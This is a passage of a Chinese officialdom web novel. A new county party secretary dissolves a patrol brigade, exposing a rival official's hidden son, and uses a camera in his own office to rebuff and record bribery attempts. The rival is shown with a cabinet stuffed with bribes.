而张彪被一脚踹到了全县人人避之唯恐不及的地方——县殡仪馆!
美其名曰:“人尽其才”。
这是父子两代的政敌!
“彪子……”这个名字在他心底无声地撕裂开一道血淋淋的口子,痛楚尖锐而隐秘。
除了他和那个远在乡下、早已年华逝去的女人贾妮。
这世上再无人知晓。
张彪,是他刘世廷的亲生骨肉。
这是他用尽半生力气死死捂住的秘密。
是他心头最深的烙印,也是最痛的软肋。
二十多年前,他还是溪都镇政府党政办一个郁郁不得志的小干事。
贾妮是镇上广播站的播音员,声音如清泉一般。
人,特别漂亮迷人。
那段隐秘的时光,是他灰暗人生里唯一的光。
然
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而,当贾妮怀上孩子时,他仕途上却意外迎来了关键的转机——一位赏识他的老领导暗示,他必须“解决”好个人问题,前途才更稳妥。
一边是触手可及、金光闪闪的上升阶梯。
一边是那个带着栀子花气息的女人和她腹中无声悸动的生命。
无数个夜晚,他在那张吱呀作响的破木床上辗转反侧,窗外是溪都镇死水般的寂静,窗内是他灵魂被生生撕裂的无声轰鸣。
前途的诱惑,带着灼热而蛮横的力量,最终像熔岩般吞噬了为人夫、为人父那点微弱的、温热的渴望。
他听见自己喉咙里挤出干涩破碎的声音:“…对不住,妮子…前程…不能毁了…”
他给了贾妮一笔钱,一场心照不宣的哭泣和沉默的告别。
他看着她含泪点头,看着她独自咽下苦果。
看着她嫁给了镇上木材厂那个沉默寡言、走路有些跛的姓张的老实巴交的工人。
不久后,那个叫张彪的男孩降生了。
那些年,刘世廷只能像个真正阴沟里的老鼠,躲在权力和距离筑起的高墙之后,用尽一切见不得光的手段去“补偿”。
钱,通过曲折得不能再曲折的路径,一点点汇过去。
张彪上学顽劣打架,闯祸,总有“好心人”及时出面解决。
他像一个隐在幕后的幽灵提线师,用无形的线,笨拙又固执地牵引着远方那个孩子的轨迹。
张彪大专毕业进入**系统。
此时的刘世廷早已不是溪都镇那个任人揉捏的小干事。
权力,被他盘踞得如同老树生根,深深扎进了这片土壤的每一个缝隙。
他像一个最高明的棋手,在无人知晓的暗室里,对着无形的棋盘落子。
张彪的每一次升迁,背后都浸透着他深夜书房里,那盏孤灯下拨出的一个个电话。
电话那头的声音,或恭敬,或了然,或带着心照不宣的谄媚。
他的话语总是精简、准确,带着不容置疑的分量:“那个张彪…材料我看了。”
“年轻人,踏实肯干,是棵好苗子,组织上要大胆培养嘛。”
“巡警大队哪个中队长位置空出来了?嗯…有基层经验的同志,可以重点考虑。”
每一句话,都像一枚精准的印章,盖在张彪前进的路上。
第32章 冰雹砸城
短短几年,张彪从最普通的片警,火箭般蹿升为县局巡警大队的大队长,实职副科。
在一个县城的小天地里,这速度惊掉了无数人的下巴。
一个没有背景、学历普通的大专生?
一个下岗工人的后代?
人们私下里嚼着舌根,眼里闪着嫉妒又困惑的光。
最终也只能归结为“这小子走了狗屎运”,或者“祖坟冒青烟了”。
一个**系统的副科级干部在一个县城来说,也是个人物了。
甚至可以横着走了!
刘世廷早已计划好,就在这两个月,要动用自己的能量,把张彪推上县**局副局长的位置。
那是他能为儿子铺就的、最光明的路。
这是他作为一个无法相认的父亲,所能给予的最大的弥补。
为了这个暗处的计划,他不知暗自谋划了多少步棋,耗费了多少心血。
现在这一切都成了泡影。
如今,这一切都被毁了!
江昭宁这狠毒的一刀,斩断的不只是他刘世廷的仕途之路,更是把张彪的前程斩得干干净净,寸草不留。
“副局长……副局长啊!”刘世廷痛苦地闭上眼,身体微微摇晃,不得不伸手撑住冰冷的桌面。
指尖触到的,只有一片刺骨的寒意。
他仿佛能看到张彪穿着崭新的制服,意气风发地坐在副局长的办公室里。
那画面曾是他午夜梦回时最深的慰藉,如今却**昭宁一把火烧成了灰烬,只剩下一片焦黑的废墟。
殡仪馆!
那是什么地方?
是死亡的气息,是活人的忌讳,是彻底的放逐!
他刘世廷的儿子,他寄予厚望的骨血,要在那种地方,对着冰冷的尸体,耗尽本该辉煌的人生?
把威风凛凛的巡警大队长,塞进成天跟**打交道的阴冷角落?这比直接开除还要狠毒百倍!
这是要把张彪钉死在耻辱柱上,从社会意义上将这个年轻人彻底摧毁!
这不仅仅是断送前程,这是赤裸裸的羞辱,是往他刘世廷心窝子里捅刀,还要狠狠搅上几搅!
是可忍,孰不可忍?
江昭宁,我就让你看看,我能下出多狠的棋!
鹿死谁手,走着瞧!
**会会议室里。
江昭宁坐在主位,脊背挺直如松。
他面前摊开着两份薄薄的文件,标题简洁而冰冷:《关于撤销县**局巡警大队建制及相关人员分流方案的方案》《关于成立县**局交巡警大队的方案》。
其他**面前也躺着这两份文件。
他的目光平静地扫过全场,没有在任何人脸上多停留一秒。
“各位领导都看完了吧?”
“对这两份文件,请发表意见。”江昭宁的声音不高,却异常清晰地穿透了凝滞的空气,像一块小石子投入深潭,但水面连一丝涟漪也无。
死寂。
绝对的死寂!
这两份报告,在提交**会之前,早已在五人小组会议上获得了毫无保留的通过。
五人小组是权力中枢,是这座县城权力金字塔无可争议的塔尖。
它的重要性,打一个不恰当的比喻,有如清朝的“军机处”。
在清朝,承袭的是明制,没有宰相一说。
一个文官,地位到了天花板的正一品殿阁大学士,享受的是宰相般的待遇,但是如果没有进入军机处成为军机大臣,那么他在世人眼里权柄含金量少了许多。
如果进入了军机处,成为了军机大臣,则身价骤升百倍,就是不折不扣的“真正宰相”。
因为大权归于军机处。
**们心知肚明。
五人小组定下的调子,就是最终的决定。
此刻的**会,不过是一场必要的、心照不宣的过场戏。
质疑五人小组的决定?
没有哪一个**,会傻子一样去否定五人小组的决定。
时间一分一秒地流逝,压抑得令人窒息。
“既然没有不同意见,”江昭宁打破了沉默,声音依旧平稳无波,听不出任何情绪,“那就表决吧。”
“同意!”
“同意!”
“同意!”“同意!”“同意!”……
声音一个接一个响起,单调、迅速、毫无迟疑,如同冰冷的机械传动。没有反对,没有弃权。
**会毫无疑义地通过了江昭宁的提议。
江昭宁拿起笔,在报告首页右上角签下自己的名字。
笔尖划过纸张的沙沙声,在死寂的会议室里显得格外刺耳。
他放下笔,合上报告。
他冷静宣布道:
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“撤编通知发,成立交巡大队的方案暂缓发!散会。”
没有多余的寒暄,没有眼神交流。
**们如同得到赦令,迅速而沉默地起身,椅子腿与地面摩擦发出短促的声响。
他们鱼贯而出,步履匆匆,仿佛多停留一秒,就会被这会议室里尚未散尽的寒气冻伤。
“张彪调县殡仪馆,任副馆长(副科级)。”
“关于撤销县**局巡警大队建制的通知”
……
在这个密不透风的电子时代,尘埃落定仅仅用了五分钟时间。
两则文件如同两枚无声的核弹,在县委县政府办联合发布通知的公众号“东山在线”上轰然炸开。
网络信号如同冰冷的神经电流,以光的速度,瞬间将“**”的碎片和辐射波传送到全县每一个角落——从中心广场的LED巨屏,到路边小店柜台上闪烁的手机屏幕。
从空调冷气开足到让人汗**倒竖的机关大楼,到弥漫着油烟和汗味的城郊小吃摊。
县城轰然巨响!
那个不可一世的张彪,竟被发配去和**打交道了?!
那昔日带着一群巡逻队员风头无两、开着一溜闪着红蓝警灯的警车呼啸而过的铁腕人物,竟这样毫无征兆地一脚踩空了云端?
这消息比任何一部荒诞讽刺剧都更具冲击力。
但紧接着袭来的恐惧,比惊愕更为沉猛——巡警大队,撤销了!编制没了!
文件措辞精确、冰冷,“所有现职干警一律列入编余序列,接受统一甄别,然后再行安排”。
晴天霹雳!
这晴天霹雳不偏不倚,凶狠地直接劈在了所有巡警队员的脑袋上!
巡警大队驻地瞬间炸了锅。
前一秒,这个下午原本稀松平常——有人叼着烟卷半瘫在椅子上刷短视频,有人对着休息室角落的镜子整理肩章上的警号,有人凑在一起压低声音抱怨刚刚那桩烂醉如泥的**处理耗了太长时间……
文件跳出来的瞬间,所有的声音、动作、甚至连空气都猛地凝固了。
屏幕幽蓝的光映在一张张惊愕呆滞、迅速失血泛白的脸上,如同冰柜里陡然拉开的抽屉,整齐地码放着一排排冻僵的尸体。
时间被那短短的几行字冻住了。
“编余……”
第33章 游戏规则变了!
“编余是什么意思?”角落里一个年轻警员干涩地问出这句,声音细微得如同喉咙被冰卡住后摩擦的声响,却像一根针,刺破了这瞬间的死亡沉默。
没有任何答案能抵达他那里。
所有人心底已然清晰地浮现出那个冰冷残酷的轮廓——就像河面上冻时被封死在冰壳下的鱼虾。
“撤销建制……”有人喃喃自语,额头上沁出细密的冷汗。
这意味着什么?
意味着从今天起,巡警大队人员的身份瞬间变得无比尴尬,前途一片灰暗,成了随时可以被踢开的包袱!
队伍没有了,位置没有了,连曾经的身份标签也瞬间成了废纸!
哗啦!一只不锈钢水杯被狠狠掼在地上。
剧烈的声响震醒了一室死寂。
紧接着,更多拳头砸在桌上的闷响、压抑着濒临崩溃时从齿缝里挤出的野兽般的低喘、烟灰缸在剧烈指骨敲击下绝望的震动……在这间瞬间沦为废墟的房间内此起彼伏。
没有人敢大声嘶吼,只有一种低沉的、即将决堤的暗涌,在胸腔里、在惨白的灯光下呜咽。
那点着烟的手指抖得如同风中的枯叶。
良久,有人小声嘀咕,“赶紧看看自己屁股底下干不干净吧!”
“对对对!新**这是杀鸡儆猴啊!巡警大队就是那只鸡!我们……”
那两枚电子“**”的冲击波,岂会仅仅停留在那间混乱的巡警大队办公室?
它的威力,正如同两股骤然奔袭的冰寒锋刃,无声而迅疾地穿透所有壁垒。
狠狠扎进了全县上下每一个机关、每一个角落那些尚在温水中沉睡的心脏深处!
权力场从来没有什么真正不透风的墙。
更不用说这石破天惊的举措了。
核心小组决定**会通过,县委县府联合行文,微信推送直达指尖!
这闪电般的速度和摧枯拉朽的决断,传递出的是比文件本身字句冰冷十倍的震撼!
办公室的闲聊戛然而止。
茶水间的八卦瞬间冰冻。
走廊碰面时虚伪的笑容僵死在脸上,只剩下眼神深处飞快交换的惊惧——那是被寒冬骤然闯入家门的惊骇感。
“张彪啊……殡仪馆?!”某局办公室里,一位捧着保温杯的中年副职失声嘀咕,手指下意识地用力,滚烫的茶水溅到手背上都浑然未觉,“就这么……栽了?”
他的眼神直勾勾盯着桌上的手机屏幕,仿佛那文件上面附带的不是公章,而是索魂的冰锥。
冷!一股彻骨的寒气从脚底板瞬间窜上他的脊梁骨。
“巡警大队……撤了……全编余……甄别……”隔壁的科室内,另一位科员低声重复着字眼,每一个词都像是从冻土层里刨出来的碎冰,吐字艰难,“那可是……好几十号人啊!”
“就这么……说没就没了?下一步会轮到谁?”话音未落,办公室里骤然一片死寂。
所有人都无声地打了个寒噤,不由自主地裹紧了外套——明明空调暖风还呼呼地吹。
恐惧像病毒一样在安静的办公室里蔓延,击碎了一切的侥幸。
连空气都被挤压得稀薄起来。
县府大院停车场上,刚驶入不久的几辆黑色轿车里,刚刚走下车的几位科局头头几乎在同一时刻收到了推送到手机上的通知。
短暂的静默后,彼此隔着挡风玻璃交换了一个眼神。
那眼神里褪去了平日惯于交换的客套、试探乃至微妙的傲慢,只剩下一种共同面对凶兽逼近的惊惶与寒意。
没人说话。
没有人率先打破这令人窒息的静默。
他们各自无声又迅捷地关上车门,低头疾步走向不同的办公楼入口,步伐匆匆。
没人愿意在门口停留片刻,仿佛那两行冰冷的官字还在空气中凝固不去,随时会落下冰锥雨。
恐慌如同无形的藤蔓,在每一间办公室、每一个角落疯狂滋长、蔓延。一种巨大的、冰冷的危机感攫住了每一个人的心脏。
他们终于无比清晰地认识到,这位新来的江**,绝不是什么温和的、可以糊弄的角色。
他那张平静的面孔下,隐藏着的是雷霆万钧的手段和毫不留情的决断力!
他敢于拿一个**机关的大队开刀,而且是如此干净利落、不留余地的方式,这背后的信号,足以让所有人心胆俱寒!
全县的大大小小官员这才知道了新**的
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狠辣!
江昭宁的名字,第一次以如此冷硬、如此令人不寒而栗的方式,深深烙进了这座县城权力场每一个参与者的心底。
这把火,烧得迅猛,烧得决绝,烧掉了所有人的侥幸。
所有人都明白了一个冰冷的事实:游戏规则,从今天起,彻底变了。
……
县委大楼里,空气也懂得察言观色。
江昭宁办公室楼道里皮鞋敲击**石地面的节奏明显稠密起来,从最东头的办公室门前经过的频率陡然升高,手里还都恰如其分地攥着些“顺手”带来的东西。
一张张堆着笑意的脸,后面都躲着双眯缝揣度的眼睛,窥探着这位年轻掌舵者的胃口,究竟有多深。
江昭宁沉下心细细翻阅着成摞成摞积压的文件和汇报材料。
敲门声第一次在文件堆叠的空隙里响起时,略显沉闷,带着一丝小心翼翼试探的意味。
推门进来的是青峰乡副乡长陈福。
他身形微胖,脸上堆满了笑意,法令纹也因此挤得更深些。
他手里捏着一个略显厚实的文件袋。
“江**,辛苦辛苦!”陈福笑得几乎看不见眼睛,几步就挨近了那张宽大的办公桌,小心翼翼地将文件袋放到桌角一个不起眼的空处。
他的声音压得低低的,“这份情况简报,昨天才整理出来,想着**可能需要尽快了解些基层的实际状况……”
他手指隐秘地在外皮上点了点,“这个,有些补充材料,也一并夹在里面了。”
“一点微末心意,不成敬意。犹豫好久才进来,实在是担心打扰**您宝贵的时间啊。”
文件袋的开口处,有张金色磁条卡的边缘,反射着办公室顶灯细锐的冷光,是张超市购物卡。
江昭宁从厚厚的卷宗上抬起脸,目光平静温和,看不出丝毫波澜。
他放下手中的钢笔,指尖探过去,轻轻在那文件袋一角上搭了一下,如同只是拂去一点微尘。
那带着热度、混杂着期待与试探的文件袋被他推了回去。
正好落到桌角几份待阅的报告旁边,动作行云流水,自然得无可挑剔。
陈福脸上的笑瞬间僵硬了片刻。
第34章 拒贿
一层热汗也迅速浮上了他的鼻尖和额角,眼神开始慌乱地左右扫视,仿佛在寻找什么救命稻草。
“陈乡长的心意,我领了。”江昭宁开口,声音不疾不徐,像山间一脉平缓的溪流,“工作简报很及时,”他轻轻拍了拍桌角的另一摞材料,“你的补充意见,我会仔细看完。”
他抬手,随意地指向办公室外走廊上那个墨绿色的铁皮箱子——那是县纪委设立的举报箱,箱盖上的锁孔如同一个沉默的黑点,静静悬在那里。
“至于这个嘛,‘微末心意’,我看更适合去它该去的地方晒晒太阳,也好让我们都能看清楚。”
陈福的脸色彻底变了。
那文件袋仿佛变成了烧红的烙铁,手伸出去不是,缩回来更不是,浑身僵住,豆大的汗珠终于滚落鬓角。
江昭宁唇边依然带着一丝若有若无的、含义不明的浅笑,像是在笑这场笨拙的表演,又像只是在笑自己面前的公文。
陈福终于再也站不住,拿起超市购物卡几乎是踉跄着落荒而逃。
他刚出去,门开了,一股混合着昂贵香水与崭新皮革的气息涌了进来,来人正是本地风头最劲的宏达集团总经理赵斌。
他一身看似低调实则价值不菲的深色定制西装,熨烫得一丝不苟,脸上堆砌着熟稔而精准的笑意,仿佛早已演练过千百遍。
他没有笨拙地夹带,而是干脆从考究的黑色公文包里直接取出两张锃亮的银行卡。
用三根手指夹着,爽快地推到江昭宁面前刚批完的报告纸上,硬纸片发出短促清脆的刮擦声,像是挑衅的低语。
“鄙人赵斌,宏达集团的老总。”
“江**新官上任千头万绪!”
“我们做企业的,知道领导的不容易!这十万茶水费,聊表寸心!方便联络感情!”他中气十足地说着话,手却习惯性地又想去掏烟。
江昭宁头也没抬,视线依旧停留在另一份材料上。
只是伸出两根手指,如同拨动尘埃,随意地将那两张卡片从重要文件上挪开,任由它们冷落地躺在宽大桌案不起眼的角落里。
然后,他拿起内线电话。
“办公室小林么?现在有空的话,来我这儿一趟,赵总有份心意想表达表达。”
他的声音穿过话筒传出,清晰异常,“对,是两张卡,你来得正好,陪同赵总,一起送到县纪委去。”
放下话筒,他才抬眼看向脸色骤变的赵斌,微微颔首,“放心去,我已经和秘书小林打过招呼了。”
“赵总,你不会介意吧?”
阳光从西窗射进,把办公室切割成明暗交错的两块。
赵斌站在那片阴影里,精心打理过的头发似乎都耷拉下来,刚才的豪气干云无影无踪。
江昭宁脸上依旧是那种难以捉摸的淡淡笑容,眼神却异常清醒锐利,如同一柄已经擦亮但尚未出鞘的古剑,静静注视着面前这条进退失据的“鱼”。
当办公室里只剩下他一人时,江昭宁才收敛了那份公式化的平静。
他无声地叹了口气,指尖无意识地敲击着办公桌面,发出沉闷的、一下又一下的轻响。
这寂静的敲击声在空旷的房间里盘旋,仿佛在为他悄然布下的下一步棋局打着某种节拍。
他需要一个不受干扰的环境。
他拨了一个电话。
电工班的韩师傅出现在门口时,整个人几乎被他的工具箱遮没了半个身子。
他身材瘦小,顶着一头花白的头发,穿着洗得泛白的工作服,神情紧张而局促,粗糙的手紧攥着工具箱提手。
这位头发花白的老实人显然不曾料到,才来几天的新**亲自召唤的人会是他。
“韩师傅?”江昭宁露出笑容,起身绕开办公桌迎上前。
老韩的手指几乎要把那工具箱的布带抠穿。
“江…江**?”老韩嗓子发紧,声音干涩得像块老树皮。
江昭宁已经走到近前,隔着那只工具箱,递过一张折叠好的小纸片。
老韩下意识接住,只觉手心黏腻滚烫。
“劳烦,”江昭宁的声音压得很低,几乎像是耳语,手指却在纸条上轻轻一点,“马上给我做一件事。”
他指关节在那字迹清晰的位置叩了叩,“就在这里,帮我,接个监控电源。”
“按这个标好的位置,加装一套摄像头,就装‘清正
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廉洁’牌匾上方夹角那位置……电源线跟主楼监控系统分开单独走,记着,从天花板暗管里走线。”
老韩握着那张滚烫的纸片,一时反应不过来,嘴巴微张着,花白的头发微微抖动。
江昭宁没有再多解释,只是轻轻拍了拍老人紧张佝偻的肩背,那手掌带着一种奇特的、令人难以抗拒的力量与温度:“记住,韩师傅,只你一人做这件事,我现在到机关事务局去拿摄像头。”
“你现在先布线。”这语气既非商量,也非命令,却含着一种不容置疑的分量。
说完他出去了。
老韩喉咙里发出一声低低的、带着颤音的“嗯”,重重点头。
他开始了工作。
不一会儿,江昭宁回来了,交给了他一个崭新的摄像头。
再抬头时,江昭宁已回到宽大的办公桌后,身影重新被堆积的文件淹没,只剩一个专注工作的侧面剪影。
县委大院彻底陷入深沉的夜色,连远处的虫鸣都沉寂无声。
江昭宁独自留在办公室,桌上台灯成为唯一的光源,照亮一方宁静。
夜风带着凉气钻入窗缝,吹拂在他颈脖上,让他感到几分清醒。
他站起身,缓缓踱步到墙边那副古朴的“清正廉洁”牌匾前。
匾额厚重,字迹遒劲,历经岁月沉淀泛着温润的光泽。
就在这四个蕴意无穷的大字上方不起眼的夹角里,韩师傅精心安装的**头悄然蛰伏,在沉沉的牌匾上方角落悄然亮起,幽微得只像是木雕缝隙里渗进的一缕若有若无的霞光。
那点红光,正对着下方那张他端坐的位置。
江昭宁凝望着那微光,仿佛看见了无数无形丝线正汇聚于此处。
这方寸之地,既成了他的堡垒,也成了他的角斗场。
夜更深了,只有台灯投下的光晕沉默地铺展。
批阅完积压的文件后,他也准备回去休息了。
住处是分给自己的周转房。
然后,外面响起了敲门声音。
他打开一看,来的是住建局的局长吴天放,昨天才认识的。
吴天放的脸上挂着一种**以为常的自信与游刃有余的神情。
第35章 完全不上当啊!
他动作干脆地关上身后的门,反锁发出轻微却清晰的“咔哒”声。
这声音在偌大的办公室里听来格外响亮,无形中划出了一方属于密谋的小天地。
没有寒暄,没有铺垫。
吴天放坐下后,径直从西装内袋里取出一个扁平的深灰色绒布盒,并不打开,只是将其平稳地推到江昭宁面前的文件上。
盒面哑光,透着一股内敛的昂贵质感。
“江**,”吴天放的身体微微前倾,声音低沉而充满诱惑力,嘴角的笑意如同锋利的钩子,“龙湾佳苑那边,新一期刚交付。”
“临湖第一排,顶楼复式……位置绝佳,朝向也好,推开窗就见整个明镜湖。”
他眼神稳稳落在**脸上,像是要穿透什么,“环境安静,非常适合**这样为全县鞠躬尽瘁的人,工作之余休养身心。”
“钥匙就在盒子里,所有资料……干干净净。”
他刻意在“干干净净”四字上加重了语气,眼角的笑容深了几分。
办公室的空气似乎凝结了一瞬。
吴天放看着江昭宁平静无波的脸,以为那不动声色之下,是某种无声的默许,悬着的心慢慢放下。
他习惯性地又从兜里摸出一个小巧的银色U盘,随意搁在房产盒旁边,像谈论天气一样自然地说:“江**昨天您要的住建局的汇报材料,刚赶出来……底稿和备用数据都在盘里了。”
“方便您随时审阅,这比送打印稿稳妥多了。”
他把“稳妥”二字说得意味深长。
江昭宁的目光缓慢扫过桌上的三件物品:那沉甸甸的绒布盒承载着一整座房产的重量,小小的U盘隐藏着无数机密的数字尘埃。
他的视线终于对上吴天放精明算计的眼。
他没有动那些东西,甚至指尖都没去触碰盒盖。
他的脸上浮现出一种难以名状的神色,没有惯常那种微妙的笑容,也谈不上严厉,更像是一种…洞悉之后的淡漠。
他的声音不高,却异常平稳,像一块无风的水面,每个字都清晰地落进凝固的空气里:“东西,我收下。”
话音落下的瞬间,吴天放紧绷的肩膀不易察觉地松弛了一分。
嘴角的笑意立刻要荡漾开去。
然而,江昭宁缓缓抬起右手,指节笔直,没有半分犹豫地指向自己座椅后方,指向那高悬的牌匾顶端被阴影覆盖的角落深处。
那个幽暗的角落里,一点细如针尖、却殷红似血的指示灯,正持续地、稳定地闪烁着。
红光微弱而执着,如同一只永不疲倦的眼睛,在寂静中注视着桌前的每一丝动静。
“但吴天放,你,我,”江昭宁的声音没有一丝温度,平直得如同标尺拉出的直线,却精准地刺穿了对方嘴角那丝残存的笑意,“现在……此刻,”他刻意停顿,让每一个字都浸透重量,“我们的整个谈话,包括这盒子,这U盘。”
他的指尖又稳稳地敲了敲桌面,“已经从这间办公室里……同步播放出去了。”
“音频同步,有几道防火墙保护的。”
说完,他竟微微后靠,靠进了宽大的椅背深处。
台灯的光束恰好被他头颈遮挡,只有桌面的一半被照亮,他那半张脸沉入阴影里,轮廓模糊不清,只留下被光线切割出的下半边脸和紧抿的嘴角——那嘴角的线条冷硬得如同刻在磐石上的纹路。
吴天放的笑容彻底死在脸上。
他顺着那根手指的指引猛地抬起头,目光直直撞向那一点不断闪动的、妖异如血滴的红光!
他的视线瞬间变得呆滞,茫然在那暗处聚焦,仿佛被某种无形力量攫住了灵魂。
他下意识张开了嘴,肌肉僵硬着,却发不出任何声音,喉咙里像是被冰棱堵住,只留下嗬嗬的、濒死般的轻微气流刮擦声。
那双原本精光四射、善于揣摩人心的眼睛,此刻瞳孔扩散,在幽暗光线下呈现一片空洞的、无神的灰,如同骤然熄灭的灯芯,只剩一片茫然又混沌的灰烬。
办公室里一片死寂。
桌面上那串崭新的、带着锋锐边缘的金属钥匙在灯下反射着冰冷的光,与角落里持续闪烁的红芒遥相呼应,仿佛构成某种冰冷的仪式。
它们之间流淌的,是冻结的时间,与被骤然揭开的、毫无遮掩的深渊。
空气却像是灌满了冰冷的铅水,沉滞得令人窒息。
江昭宁打开
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了电脑,突然,一个窗口的画面静止聚焦放大——显示的正是这间办公室的俯瞰全景:江昭宁半身深陷在椅背的阴影之中,对面吴天放凝固成一个被抽掉骨头、表情扭曲、双目圆睁的塑像,嘴巴滑稽地维持着惊愕僵硬的造型,喉咙里仿佛塞着巨大的冰石。
屏幕幽光映在江昭宁脸上,表情无法解读。
“我这电脑看得到,信息中心看得到,如有必要纪委也看得到!”
吴天放拿起盒子及U盘落荒而逃。
清晨的露水还凝在县委大院低矮的冬青叶子上,空气里弥漫着一种冷冽的、属于权力场所特有的干净气息。
刘世廷推门进入办公室,脚步沉稳,带着一种多年浸润于此的熟稔和掌控感。
红木办公桌宽大气派,皮质转椅柔软舒适,窗外是修剪整齐的花圃和远处县城略显杂乱的轮廓。
他刚在椅子上坐定,端起秘书一早泡好的、温度正好的浓茶,氤氲的热气还没散开,门就被急促地敲响了。
“进来。”
吴天放闪身挤了进来,反手带上门。
他额头和鼻尖上密密地沁着一层油汗,在透过百叶窗缝隙射进来的晨光下亮晶晶的。
他平日里梳理得一丝不苟的头发此刻几绺散乱地贴在汗湿的鬓角,胸口剧烈起伏,仿佛一路狂奔而来,又像刚从水里捞出来。
“刘…刘县长…昨晚上,昨晚……”他结结巴巴、语无伦次。
那张平日里惯会逢迎的脸此刻全然失了血色。
两颊的肌肉止不住地小幅度抖动,嘴唇哆嗦着,如同初冬寒风中蜷缩的枯叶。
“慌什么!”刘世廷的声音不高,却带着一股冰碴子般的冷硬,将那慌乱的气息凭空切断,“没办好?”
他没有说“事”字,隐晦又尖锐,每个字都像是在冰水里淬过。
“是…是!”吴天放被那眼神钉在原地,喉结艰难地上下滚动,“江**…不,江昭宁…这小子…他,他不上道!”
“完全…完全不上当啊!”
“嗯?”刘世廷搁下茶杯,杯底与桌面相触,发出“嗒”的一记轻响,在这死寂的空气里却如同敲了一记惊堂木,“猫不吃腥?”
第36章 装个摄像头拍自己?
他身体微微前倾,目光锐利如鹰隼,死死攫住吴天放那张失措的脸,试图从他的每一个眼神、每一次呼吸的颤动里榨取出真相。
他绝不相信这个初来乍到、脚跟都未站稳的年轻**真能做到油盐不进——这潭水浑了多少年,难道还泡不软一个新入水人的腿子?
那个盒子,足够让一个人忘记祖宗姓什么,更别提那个U盘的内容……
吴天放猛地摇头,动作幅度大得像是要把脖子甩断,“他…他一口就拒绝了!斩钉截铁!一点余地都没有!”
他急促地喘着气,眼神慌乱地扫过刘世廷身后的文件柜,又猛地缩回来,仿佛那柜子里藏着噬人的怪兽,“还…还…”
“还什么?”刘世廷心头那点不祥的预感骤然放大。
他放在桌面上的手指无意识地蜷缩了一下。
指尖微微发凉。
吴天放此刻的模样,已经超出了简单的“没办成”的懊恼,那是一种深入骨髓的、被彻底击垮的恐惧。
“他…他还说…”吴天放的声音陡然拔高,又猛地噎住,像是被人扼住了喉咙,脸憋得紫胀。
“还说什么?”刘世廷心头骤然被阴影笼罩,一种比预想中“拒绝”更危险的东西正在被吴天放的舌头艰难地、一点点推出来。
他猛地站起身,身体绷得像一张拉满的弓,办公桌宽阔的桌面此刻竟显得局促。“说!”
吴天放从齿缝里挤出那几个令人毛骨悚然的字眼:“他说…装了摄像头!就对着他办公桌!”
“昨晚上我们……我们所有的一切都录下来了!影…音同步!”
“装摄像头?对着他办公桌?”刘世廷几乎是脱口而出。
每一个音节都如同冰锥撞在岩石上,带着不可置信的裂痕。
他的眼神锐利如刀锋,死死盯住吴天放惊恐的脸,声音陡然拔高,近乎厉喝,“胡扯!县委大院里装的摄像头,那是在楼道里,在会议室里,在机要室门口!”
“你睁大眼睛看清楚了吗?”
“领导的办公室!那是……能装那玩意儿的地方?!”
“你还真相信了?”
刘世廷向前逼近一步,手掌重重拍在红木桌面上,“那是谈正事、接待重要客人、偶尔也……也得处理些人情往来的地方!”
“你告诉我,谁?哪一个,会这样做?”
“那不是拿根绳子往自己脖子上套?!他是傻子吗?!”
办公室里一时间只剩下刘世廷粗重的喘气声和吴天放牙齿打架的咯咯声。
墙上挂着的金碧辉煌的“政通人和”牌匾,在初阳斜照下折射出的光芒,冷得如同冰霜的寒光。
吴天放被这气势逼得往后踉跄了小半步,声音抖得更狠,每一个字都像在冰水里滚过:“真的…真的…刘县长,我…我看见了!”
“就在他墙上挂着的‘清正廉洁’牌匾额之下,不起眼的地方,亮着个小红灯!”
“一闪……一闪的!像……像是毒蛇的眼睛!”
他恐惧地吸着气,“他还开了电脑,放给我看!就是昨晚录的,清清楚楚!”
“他还……还说这摄像头,连着……连着楼上信息中心……录像文件有……有几道防火墙保护……”
“他说……他说那是……”吴天放艰难地吞了口唾沫,浑身筛糠一样颤抖起来,“他说那是……存证用的!”
“存证”两个沉重的字眼,如同两枚烧红的铁钉,狠狠凿进了刘世廷的耳膜!他的瞳孔骤然收缩成针尖大小。
“什么——?!”
一瞬间,刘世廷感到浑身的血液仿佛瞬间被抽空,又猛地倒灌进心脏。
撞得他耳畔嗡嗡作响,眼前霎时漆黑一片。
他的身躯晃了晃,不得不伸出双手死死撑住面前沉重的红木办公桌边缘,才勉强稳住没有跌倒。
“他…**……”他终于从牙缝里挤出嘶哑的骂声,声音因为极度震惊和后怕而完全变了调。
眼神却凶狠阴鸷地钉在对面同样面无人色的吴天放脸上。
“江昭宁…他脑子里到底在盘算什么?装个摄像头拍自己?”
“他做官图什么
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?!”
他猛地侧过脸,目光暴戾地扫过角落一个偌大的柜子,那里静静陈列、价值不菲的五粮液和茅台。
“嘴巴给我闭严实了!”刘世廷的目光像淬毒的针,死死钉在吴天放僵硬的脸上,“昨晚的事,一个字都不许再提!”
“就当什么都没发生过!要是走漏半点风声…”
他没有说下去,但那未尽的威胁,比任何具体的惩罚都更令人胆寒。空气中弥漫着无声的绞索收紧的气息。
“你走吧!”
“是!我明…明白!”
“刘县长!打死我也不敢乱说!”吴天放的声音抖得像风中残烛。
他不敢再有丝毫停留,猛地拉开门,像一道逃窜的灰影,瞬间消失在门外走廊的光线里,留下空洞洞的门框和骤然涌入的、带着尘埃味道的穿堂风。
“砰。”门被惯性带上,发出一声沉闷的回响,隔绝了外面的世界。
刘世廷从巨大的办公桌后绕出来,沉重的脚步踏在地板上,发出闷响。
他没有走向窗边,反而走到那个占据小半面墙的、嵌着电子密码锁的硕大铁皮档案柜前。
蹲下身,动作间带着一种刻意的沉稳。
他拧动钥匙,按下复杂密码组合,“咔哒”一声清脆的弹响,柜门应声而开。
一股浓烈的气息扑面而来,混杂着崭新的纸张油墨味、皮质的气味,以及——无数高档名烟的幽香和名酒的醇厚底蕴。
柜子里塞得满满当当,景象触目惊心。
那绝不是寻常的文件堆积。
靠下方,赫然是整条整条、包装精美得连塑封都未曾拆开的各类高档香烟,成堆累积,几乎要将下层空间塞满——那是权力的日常问候。
中间几层更加拥挤不堪,随意塞着一堆购物卡、储值卡,材质从普通的塑料到硬质的精钢都有,上面印着本市几个最奢华商场的LOGO,在柜内壁灯的冷光下闪烁着诱人又冰冷的微光。
几瓶印着异国文字标签、包装极致奢华的人参鹿茸保健品被挤得歪斜躺倒。
第37章 算计落空
角落里还蜷缩着几个低调深沉的丝绒礼盒,无需打开,也能猜到里面非珠宝即名表。
而在这些价值不菲的物品之上,在柜子的深处,几个不起眼的暗格抽屉半开着,露出里面一角——那是码放齐整、被银行专用黑色纸条紧紧捆扎的现金方阵,一沓沓,如同沉甸甸的砖块。
